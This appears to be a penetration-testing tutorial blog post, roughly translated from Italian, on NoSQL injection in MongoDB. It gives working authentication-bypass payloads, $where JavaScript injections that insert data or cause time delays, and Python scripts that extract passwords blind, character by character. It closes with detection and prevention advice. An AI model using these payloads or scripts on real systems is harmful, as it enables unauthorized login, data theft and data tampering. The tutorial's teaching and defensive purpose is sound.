web hacking

NoSQL Injection: Guide to MongoDB, Payload, Bypass for Pentest

NoSQL Injection: Guide to MongoDB, Payload, Bypass for Pentest

Learn what NoSQL Injection is on MongoDB: payload, authentication bypass, $regex, $where, blind injection, data extraction, and defense techniques.

  • Posted on 2026-09-03
  • Reading time: 17 min

NoSQL Injection: Complete Guide to MongoDB, Payload and Authentication Bypass #

La NoSQL injection It is the technique that allows you to manipulate queries towards non-relational databases such as MongoDB, using operators such as $ne, $regex o $where instead of simple text. If you have only worked with the Classic SQL injection — apices, OR 1=1, UNION SELECT —The first time you encounter an application with a NoSQL database behind it, it can be disconcerting. The payloads you know don't work, the errors are different, and the syntax seems like a different language. In reality, the underlying principle is identical to SQL injection: unvalidated user input ends up where it shouldn't. Only the "where" and "how" change.

This guide assumes you've never heard of NoSQL injection before, and takes you through the advanced payloads used in real-world penetration testing—including database-side JavaScript execution, one of the least-known and most dangerous aspects of this class of vulnerabilities. If you'd prefer to see these concepts applied step-by-step on a real machine, we've also published a complete walkthrough of HTB Mango , from login bypass to privilege escalation.

Relational Databases vs. NoSQL Databases: The Difference That Matters #

A relational database (MySQL, PostgreSQL, MSSQL) organizes data into tables with fixed, predefined columns. Queries are text strings written in SQL. Classic SQL injection works by breaking that string with a special character, typically a quote:

sql
' OR '1'='1

A NoSQL database— MongoDB is by far the most popular, but there are also CouchDB, Redis, Cassandra, and others—organizes data differently. MongoDB in particular stores it in collections (the equivalent of tables) made up of documents , JSON-like objects where each document can have different fields from the others—there's no need for a fixed schema decided in advance.

Beyond MongoDB: NoSQL Database Families #

"NoSQL" is a broad category, not a single product. It's worth knowing that it's divided into different families, because the injection technique varies depending on which one you're dealing with:

FamilyExamplesHow they are made
Document-basedMongoDB, CouchDBJSON-like documents, as described above — this is the most widespread family and the one with the most documented injection surface
Key valueRedis, DynamoDBSimple key→value pairs, no complex filter queries — injection surface is much smaller than MongoDB
Column-basedCassandra, HBaseColumnarly organized but non-relational data — uses its own query language (CQL for Cassandra) with its own injection syntax
GraphNeo4jNodes and relations; injections here point to the graph query language (Cypher), which is completely different from $ne/$regex

This entire guide focuses on MongoDB because that's what you encounter by far most often — both in real production and in CTF boxes — and the operators you'll see ($ne, $regex, $where…) are specific to its syntax. The underlying principle (unvalidated input ending up within the query structure) remains the same for CouchDB, which supports very similar queries; it's more different with Redis, Cassandra, or Neo4j, where the query language is completely different and must be studied separately.

Queries to MongoDB are not SQL text: they are objects with their own operators, all starting with the symbol $ $ne, $gt, $regex, $where and many others. NoSQL injection does not break a text string: it injects directly into the query structureIf your application takes your input and passes it to the database without checking its type, and that input might contain one of these operators instead of plain text, you can alter the query logic just like you would with a single quote in SQL—just with a completely different syntax.

NoSQL injection vs SQL injection: differences at a glance #

A quick summary, useful for quick reference:

SQL InjectionNoSQL Injection
Target databaseMySQL, PostgreSQL, MSSQLMongoDB, CouchDB and others
Query formatSQL text stringObject with operators ($ne, $gt…
What are you breaking?The string syntaxThe query structure
Typical payload' OR 1=1--username[$ne]=hackita
Most common bypassOR/UNIONOperator injection ($ne, $or)

The terminology changes name, not concept #

If you're coming from the relational world, the table below will save you unnecessary confusion — they're the same ideas, just with a different name:

SQL (relational)MongoDB (documentary)
DatabaseDatabase
TableCollection
RigaDocument
ColumnField

A MongoDB database contains collections (not tables); each collection contains documents (not rows, they're JSON-like objects); each document has fields (not columns) — and, unlike a SQL table, two documents in the same collection can have completely different fields.

How to tell if an application uses a NoSQL database #

Before even testing a payload, it's worth considering whether it makes sense to test it. A login form "looks" identical regardless of the database behind it—you can't tell it apart from HTML. Some practical signs to look for:

  • Door 27017 open currently being explored (MongoDB's default port) — a strong, though not definitive, clue (it may not be reachable from outside).
  • Application stack: If you notice that the backend runs on Node.js/Express (typical headers, errors, cookies), it is a very common combination with MongoDB via libraries like Mongoose.
  • Endpoints, libraries, or configuration files that explicitly mention “Mongo,” “NoSQL,” or library names that declare which databases they support — sometimes a quick tour of the application is enough to find such a clue before even touching the login form.
  • Telltale error messages: A misconfigured application may return a stack trace that mentions “Mongoose”, “BSON”, or “MongoServerError”.
  • Direct behavior: if you have no other clues, try a simple NoSQL payload anyway (username[$ne]=hackita) and observe if the behavior changes compared to a classic SQLi attempt. If the server digests the payload without syntax errors and the behavior changes, you're probably using NoSQL.

MongoDB's main operators #

Before the payloads, it is worth having a clear table of the most used operators in the injection phase:

OperatorMeaning
$nedifferent from (not equal)
$gtgreater than
$ltless than
$gte / $ltegreater than/less than or equal to
$inthe value is present in a list
$ninthe value is NOT present in a list
$regexmatch with a regular expression
$existsthe field exists (or does not exist) in the document
$orat least one of the conditions in the list is true
$andall conditions in the list must be true
$notreverses the result of another condition
$nornone of the conditions in the list are true
$elemMatchat least one element of an array satisfies a subcondition
$allan array must contain all the listed values
$whereexecutes JavaScript code as a query condition

The first eleven are “harmless” in the sense that they only allow you to alter the comparisons in a query. $where It's different, which is why it deserves a separate section later.

Four of these deserve a practical note on when they come in handy during a test:

  • $and / $nor — useful when $or It alone is not enough to build the condition you need, for example to combine multiple bypasses together in a single complex payload.
  • $not — handy for quickly reversing a test: if you suspect a filter is blocking $ne explicitly but not its negation ($not: {$eq: ...}), it is worth trying as an alternative bypass.
  • $elemMatch / $all — relevant only if the field you are testing is an array (e.g. a “roles” or “permissions” field with multiple values) — allow you to investigate or manipulate logic on that data type, which the basic operators don’t handle.

Authentication Bypass with NoSQL Injection: The First Thing to Try #

The most common case you'll encounter is a login form. The server-side code in a vulnerable application might look something like this (in pseudocode):

js
db.users.find({ "username": input_utente, "password": input_password })

Se input_utente comes in as plain text, the query looks for a document with that exact username. But if you can make it input_utente you become a object Instead of a string — which easily happens with nested HTTP parameters or poorly validated JSON bodies — you can inject an operator in its place.

Why username[$ne]=x becomes an object #

Many web frameworks (PHP, Express with body-parser, and others) automatically interpret the square bracket syntax in an HTTP parameter as a nested structure, not literal text. When you send:

text
username[$ne]=hackita

the framework internally transforms it into something like {"username": {"$ne": "hackita"}} — a real object, with $ne as a key—before the application code even passes it to the database. This is a convenience designed to handle complex forms (arrays, nested objects), but if the application doesn't validate the received data type, it becomes a gateway for data injection: the database receives an operator instead of a simple string, without you having to break any syntax.

Payload in URL-encoded / form-data format #

These are the payloads to try first, both in a GET query string and in a POST body. application/x-www-form-urlencoded:

text
username[$ne]=hackita&password[$ne]=hackita
login[$regex]=h.*&pass[$ne]=hackita
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=hackita

The first is the classic: “username not equal to 'hackita' AND password not equal to 'hackita'” — almost certainly true for at least one user in the database, so it bypasses the login.

The third is more subtle: $gt: admin e $lt: test Together they say “a login that, alphabetically, comes after 'admin' and before 'test'” — a roundabout way to have any document returned without knowing anything specific.

Payload in JSON format #

If the application accepts a JSON body (header Content-Type: application/json), the same logic is expressed like this:

json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "hackita"}, "password": {"$ne": "hackita"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

It's always worth trying both formats (form-data and JSON) on any suspicious endpoint: some applications only accept one of the two, and figuring this out requires a second of experimentation with Burp Suite to intercept and modify the actual request. If the target is specifically a REST API that only accepts JSON, the injection logic remains identical to that seen here—you can find a more in-depth analysis in the article on SQL injection in REST APIs , which covers the same transport scenario applied to the relational world.

$where: when injection becomes code execution #

Here we enter the lesser-known and more serious part of NoSQL injection. The operator $where allows — if the MongoDB server has not explicitly disabled it — to pass the JavaScript code which is evaluated as a query condition. You're no longer just comparing values: you're running code in MongoDB's internal JavaScript engine.

An important clarification before moving on: that JavaScript code remains sandboxed inside MongoDB itself (internal engine, historically SpiderMonkey). From there, you can read and compare data, but not launch system commands or open a shell—it's not, in itself, code execution on the operating system. The leap to real system access requires an additional, application-specific step: if, due to a programming error, the value you injected also arrives inside a eval() written in the backend code (typical of Node.js), it is there — not inside Mongo — that the execution becomes really dangerous, because that JS engine has access to modules like child_process that can launch real commands.

Here are a series of real payloads used to test and exploit this vector, explained one by one:

text
true, $where: '1 == 1'
$where: '1 == 1'

The simplest case: a JavaScript condition that is always true. It bypasses any checks, conceptually identical to OR 1=1 in SQL — only here you're not comparing data, you're executing an expression.

text
{ $ne: 1 }

This is not $where, but a reminder of how interchangeable the operators are: $ne bypasses an exact comparison wherever a single value is accepted in place of an object.

text
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'

Combines two techniques: $or with an empty condition ({}, always true) for the bypass, and $comment — an operator that does nothing logically but serves to cleanly “close” the injected query syntax, leaving a readable trace in the server logs to confirm that the injection took effect.

text
db.injection.insert({success:1});

This payload goes beyond simple reading: if the context allows it, it writes a new document to the database. This is proof that injection doesn't just bypass conditions, but can also alter data—the NoSQL equivalent of a INSERT injected into a SQLi.

text
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1) } })

More aggressive payload: after insertion, recall mapReduce, a MongoDB data aggregation function that accepts arbitrary JavaScript functions as parameters. In a vulnerable context, mapReduce It has historically been one of the most cited vectors for arriving at aremote code execution wider on the database server.

text
|| 1==1

More compact variant of the boolean bypass, useful when the syntactic context of the injected query is already inside an existing JavaScript expression (no need to reopen a block $where complete).

text
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00

These two payloads are used for a specific technique: check if a field exists in the document. this.password.match(/.*/) asks “password field matches anything” — always true if the field exists. The second payload uses passwordzz, a field name that almost certainly does NOT exist: if the server response changes between the two payloads, you have just blindly confirmed that the field is called exactly passwordIt is a technique for enumerating the structure of documents without ever seeing them directly.

The two variants with %20%26%26%20 They are identical in logic, only with the spaces and the double ampersand (&&) url-encoded — useful when the transport channel (query string, some headers) does not accept these characters in cleartext.

text
{$gt: ''}
{"$gt": ""}
[$ne]=1

Minimal bypasses already seen above, re-proposed in different notations (JS object, JSON, URL parameter) depending on where you are injecting.

text
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);

These four payloads are for time-based blind , the technique you use when the server response is identical on both success and failure, and therefore you can't distinguish the two cases by a redirect or different text — only by the response time.

The first one tries to call directly sleep(5000) (5 second pause). Some MongoDB installations disable sleep() inside $where to prevent this attack (the behavior varies from version to version and from the specific configuration) — this is why the fourth payload exists, which achieves the same delay with a loop do...while that repeatedly compares two objects Date, without ever calling sleepIf the server takes ~5 seconds longer to respond when injected with this payload than with a normal request, you have confirmation of the injection even without any visible output.

text
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true

Variants of the same Boolean bypass (return true explicit), useful when the syntactic context requires “closing” an existing JavaScript function instead of a simple expression — depends on how the application internally constructs the query $where, which is often discovered only through trial and error.

text
{"&exists":false}

Intentionally malformed syntax (the correct operator would be $exists, Not &exists) — a payload of this type is used more to test the resilience of filters/WAFs in the face of syntactic variations than as a direct vector: if the server responds abnormally (error 500 instead of a clean reject) even to a poorly written operator, it is a sign that the input is not being validated correctly upstream.

Boolean-based blind: Theory before scripting #

All the bypass payloads we've seen so far have one thing in common: they never show you the data directly. They only tell you whether the condition you injected was true or false by observing how the server's response changes:

true condition → response A (e.g. 302 redirect, text “success”) false condition → response B (e.g. status 200, same login form)

This is the Boolean-based blind: you never “see” the password, but you reconstruct it by deducing it from a series of yes/no questions. This is the same principle behind password extraction. $regex which you'll see shortly — before automating it in a script, it's worth understanding it as an isolated concept, because it's the logical basis on which the time-based blind is also built later (only the observed signal changes: time instead of response).

A change in response is not always confirmation of NoSQLi #

Before blindly trusting "the answer changed, so I found the injection," it's worth a note of caution. Several factors, completely unrelated to an actual vulnerability, can produce a different answer:

  • Rate limiting: after too many close attempts, the server may start responding differently (429, temporary block) — this is not a sign of successful injection, it is anti-brute-force protection.
  • Sessions and cookies: If your script doesn't handle session cookies properly between requests, some applications will change behavior regardless of the payload.
  • Caching: a cached response can remain identical even when the payload should change it, or vice versa change for reasons unrelated to the query.
  • Generic application logic: a different redirect could be due to a “first time” cookie, a banner, or an A/B test — not an injection.

The most reliable counter-evidence is always a direct comparison: the same payload repeated twice must give the same response; a clearly false control payload (e.g. password[$regex]=^ZZZZ_impossibile) should always return a negative result. If these two checks are not consistent, the signal you are observing is unreliable.

Extract data with $regex in NoSQL injection #

Once the bypass is confirmed, the next step is almost always to extract real data—a password, a token, or another username. Here, the key operator is $regex, which does a partial match on a string.

Finding the length of a field #

text
username[$ne]=hackita&password[$regex]=.{1}
username[$ne]=hackita&password[$regex]=.{3}

.{1} asks for “any character, exactly one” — if the password has only one character, this payload would succeed. Increasing the number (.{3}, .{8}…) you can determine the exact length of the field before even knowing its contents.

Extract content character by character #

text
username[$ne]=hackita&password[$regex]=m.{2}
username[$ne]=hackita&password[$regex]=md.{1}
username[$ne]=hackita&password[$regex]=mdp

The logic is this: you propose a prefix ("m", then "md", then "mdp"...) and observe when the server confirms the match. By repeating this process for all possible characters, for each position, you reconstruct the entire string—exactly like in boolean-based blind SQL injection , only with MongoDB syntax.

Alternatively, if you suspect that the value belongs to a limited set of known possibilities (common usernames, for example), $in It's more direct:

json
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Bypassing Filters and WAFs: The Duplicate Key Trick #

A counter-intuitive but exploitable detail: in MongoDB, if a JSON document contains a duplicate key, the last occurrence wins :

js
{"id":"10", "id":"100"}

In this example, the final value of id will be "100"Some security filters only validate the first occurrence of a key, allowing the second to pass: a bypass technique to keep in mind when an “obvious” payload is blocked but one with repeated keys is not.

Error-based: when the application talks too much #

Boolean-based and time-based are the techniques to use when the application doesn't tell you anything explicit. But it often happens, especially in poorly configured development or staging environments, that an application responds with the raw stack trace of the error instead of a generic message. In that case, there's no point in blindly deducing anything: the database is telling you directly what went wrong.

A malformed payload or one with an unexpected data type (for example, an array where the code expects a string, or an operator on a field that doesn't support it) can cause messages like:

text
MongoError: $where is not allowed on this instance
CastError: Cast to string failed for value "[object Object]" at path "username"
MongoServerError: unknown operator: $regexx

Each of these errors is useful information: the first one confirms that $where exists but has been disabled (don't waste time on that vector); the second confirms that the field username It normally only accepts strings—and therefore type validation, if any, occurs at a level you can try to bypass otherwise; the third, simply, tells you that you've written the wrong operator.

It is worthwhile, when possible, to deliberately try “noisy” payloads (poorly written operators, obviously incorrect data types) precisely to trigger these errors — they often reveal more about the internal structure of the query than a long blind boolean-based loop would.

Blind NoSQL Injection: Automating Extraction with Python #

When the vulnerability is confirmed but there's no direct output to read (just a redirect, or a generic success/failure message), character-by-character extraction needs to be automated. The basic structure, regardless of the body format (JSON, form-urlencoded, or even GET), is always the same:

python
import requests
import urllib3
import string
import re

urllib3.disable_warnings()

url = "http://target.tld/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

def estrai_campo(nome_campo, campo_bypass):
    trovato = ""
    while True:
        found = False
        for c in string.printable:
            candidato = trovato + re.escape(c)
            payload = "%s[$regex]=^%s&%s[$ne]=hackita&login=login" % (
                nome_campo, candidato, campo_bypass
            )
            r = requests.post(url, data=payload, headers=headers,
                               verify=False, allow_redirects=False)
            if r.status_code == 302:
                trovato += c
                found = True
                break
        if not found:
            break
    return trovato

password = estrai_campo("password", "username")
print("Password trovata:", password)

Two details that are worth isolating, because one almost always stumbles upon them the first time:

re.escape(c) string.printable includes characters such as *, +, ., ?, $ which have a special meaning in a regex, they are not "the literal character." If the true value contained one of these symbols and you sent them to the database unprotected, you would break the regex syntax instead of testing them as normal characters. re.escape() prepends a backslash to these characters before inserting them into the payload — but the character you accumulate in the Python variable remains the “clean” one, without the backslash.

allow_redirects=False — by default requests It automatically follows HTTP redirects, showing you only the final page. Instead, you need to see the raw response status code (302 = success, other = failure), so it should be explicitly disabled.

The same script, with some adaptations, works identically even if the body is JSON (just change Content-Type and construct the payload as a JSON string instead of form-urlencoded) or if the injection occurs via GET parameters in the URL.

Time-based blind: when even the redirect is identical #

Sometimes the application always responds the same way, without different status codes or different text, regardless of the success of the injection. In these cases, the only available signal is the time of response — the same principle as the time-based SQL injection, here applied by exploiting the payloads $where with sleep() (or the cycle Date equivalent) seen above:

python
import time
import requests

def testa_char(prefisso, c, url):
    payload = "username=admin&password[$where]=this.password.match(/^%s%s/) ? sleep(3000) : 0" % (prefisso, c)
    start = time.time()
    requests.post(url, data=payload, verify=False)
    return (time.time() - start) > 2.5

If the response takes more than ~2,5 seconds, the tested character is correct. The character-by-character reconstruction logic remains identical to that seen with $regex, only the observed signal changes (time instead of status code).

What NOT to do: Rely on outdated automated tools #

There are historic tools for automating NoSQL injection, including NoSQLMap (inspired by sqlmap). A practical, field-tested warning: NoSQLMap is stuck at Python 2.7, which has been end-of-life for years—installing it on an updated system requires manually patching broken dependencies one by one before you can even get it running. For most real-world scenarios, a custom script like the one above is faster to write, more reliable, and—most importantly—forces you to truly understand the mechanism instead of simply reading output you don't know how to interpret.

Alternatively, Burp Suite Intruder allows you to do the same thing via an interface, without writing a single line of code. The methodology, in short:

  1. Intercept the login request (or suspicious endpoint) with the proxy active.
  2. Identify the parameter to test and try to turn it into an object (username[$ne]=x in place of username=x), observing if the answer changes.
  3. Change the type progressively: first simple operators ($ne, $gt), then $regex if the bypass confirms the vulnerability.
  4. Compare the answer — status code, length, redirect — with that of a clearly bogus control request (see the note on false positives above).
  5. Switch to Intruder only once the carrier is confirmed: brands with §§ the position of the character to test in the payload, give it the full alphabet as a payload set, and sort the results by status code or length to quickly find the anomalous line.

Real Impact: What You Can Really Get #

The payloads seen so far translate into a limited number of concrete impacts, which are useful to keep in mind when documenting the severity of what you've found:

  • Authentication bypass — the most immediate and common impact, seen at the beginning with $ne/$or.
  • Account takeover — once you bypass the login of a specific account (not just any one), you have full access to that identity.
  • Data disclosure — data extraction via $regex/$in, be it a password, a session token, or personal data of other users.
  • Modify or delete data — payload as db.injection.insert(...) show that, where the context allows, injection is not limited to reading alone.
  • Denial of Service — Specially constructed queries (regexes that are particularly expensive to evaluate, or loops like those seen in time-based queries) can degrade database performance to the point of making it unstable under load.
  • Code execution — possible only in specific contexts and not guaranteed: requires $where active and, for a real impact on the operating system (not only inside Mongo), an additional weak link on the application side such as a eval() poorly written, as explained above.

The CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) classification is used as the standard reference for this family of vulnerabilities — the actual severity, however, must always be evaluated on a case-by-case basis based on the application context, not assigned a priori.

How to Detect a NoSQL Injection #

The signs of a NoSQL injection are scattered throughout this guide — here's a compact summary, useful as a quick checklist during testing:

  • The field accepts a object instead of a string (square bracket syntax campo[$operatore]=valore does not generate errors).
  • Basic operators ($ne, $gt, $regex) change the behavior of the application without generating syntax errors.
  • Status code or response length vary significantly between true payload and false control payload.
  • Appearance of MongoDB/Mongoose errors in the stack trace (CastError, MongoServerError, references to “BSON”).
  • Time differences measurable between a harmless payload and one with $where/sleep().
  • Anomalous logs application side (if you have access), with repeated and sequential query patterns — a sign of an ongoing blind attack, also useful from a defensive/blue team perspective.

How to prevent NoSQL injection #

On the defensive side, these concrete controls dramatically reduce the attack surface:

  • Input type validation and allowlistAny field the application expects to be a string must be coerced to a string before being included in the query, explicitly rejecting objects or arrays where not expected. Libraries like Mongoose (for Node.js) allow you to define strict schemas that automatically block payloads containing operators.
  • Explicit sanitization of operators $: if raw input still needs to end up in a query, remove or reject keys that start with $ before building it.
  • Never build queries directly from user input: prefer libraries/ORMs that parameterize the query instead of concatenating or passing received objects as is.
  • Disable $where at the MongoDB configuration level, if the application has no legitimate use for it — eliminates the entire class of code execution attacks.
  • Least privilege on MongoDB account used by the application: a database user with minimal permissions (only the really necessary operations) limits the impact even when an injection is successful.
  • Updating MongoDB and drivers/libraries (Mongoose included) — older versions have historically had less restrictive default behaviors on $where and similar operators.
  • Rate limiting on authentication endpointsA blind character-by-character attack requires hundreds of requests; a reasonable limit slows it down to the point where it becomes unworkable in a timely manner.
  • Logging and monitoring anomalous queries (use of unexpected operators, repeated regex patterns) to detect an ongoing attack before it is complete.
  • Automated security tests integrated into the development pipeline, including NoSQL payloads among the standard test cases, not just SQL ones.

Conclusion #

NoSQL injection isn't "another SQLi with a different syntax to memorize"—it's the same old logic: unvalidated input that ends up where it shouldn't, applied to a data structure other than text. Once you understand this, every new payload you encounter (even one you've never seen before) becomes a matter of understanding the specific syntactic context, not learning another technique from scratch.

FAQ #

Does NoSQL injection only work on MongoDB? No. MongoDB is the most popular and well-documented NoSQL database, but the principle applies to any document-based database that supports queries with operators (CouchDB, for example). The specific syntax changes, not the underlying concept.

$where Is it always available on every MongoDB installation? No—it depends heavily on your configuration and the MongoDB version you're using, and there's no uniform default behavior to assume. However, it's always worth testing: when enabled, it's the vector with the highest potential impact of all the ones discussed in this guide.

What is the difference between bypass with $ne and the one with $where? $ne (and similar operators like $gt, $regex) only alter a comparison of values ​​— they are limited, but also less risky for a WAF to detect because they do not contain executable code. $where runs real JavaScript code: more powerful, but also more easily detectable and — where available — often the first target of mitigations.

Is NoSQL injection still possible in modern versions of MongoDB? Yes, the underlying vector (injectable operators when the input is not validated) remains valid on any version. However, the available surface area changes: recent versions and configurations tend to be more restrictive on $where, then the bypass with operators like $ne/$regex remains the most reliable vector to test first, regardless of the version.

Which MongoDB operators are most commonly used in NoSQL injection? Practically, $ne e $regex They cover most real-world cases: the first for authentication bypass, the second for blind character-by-character extraction. $where, $or e $exists complete the set for more specific scenarios (code execution, composite bypasses, document structure enumeration).

How do you test a NoSQL injection with Burp Suite? With Intruder: Mark the position of the character to be tested in the payload with §§, set the full alphabet as the payload, and compare the responses by status code or length — the same loop described in the methodology section above, without having to write a single line of code.

#NoSQL Injection #MongoDB #AuthenticationBypass #Blind Injection

leave a message

I'm not a robot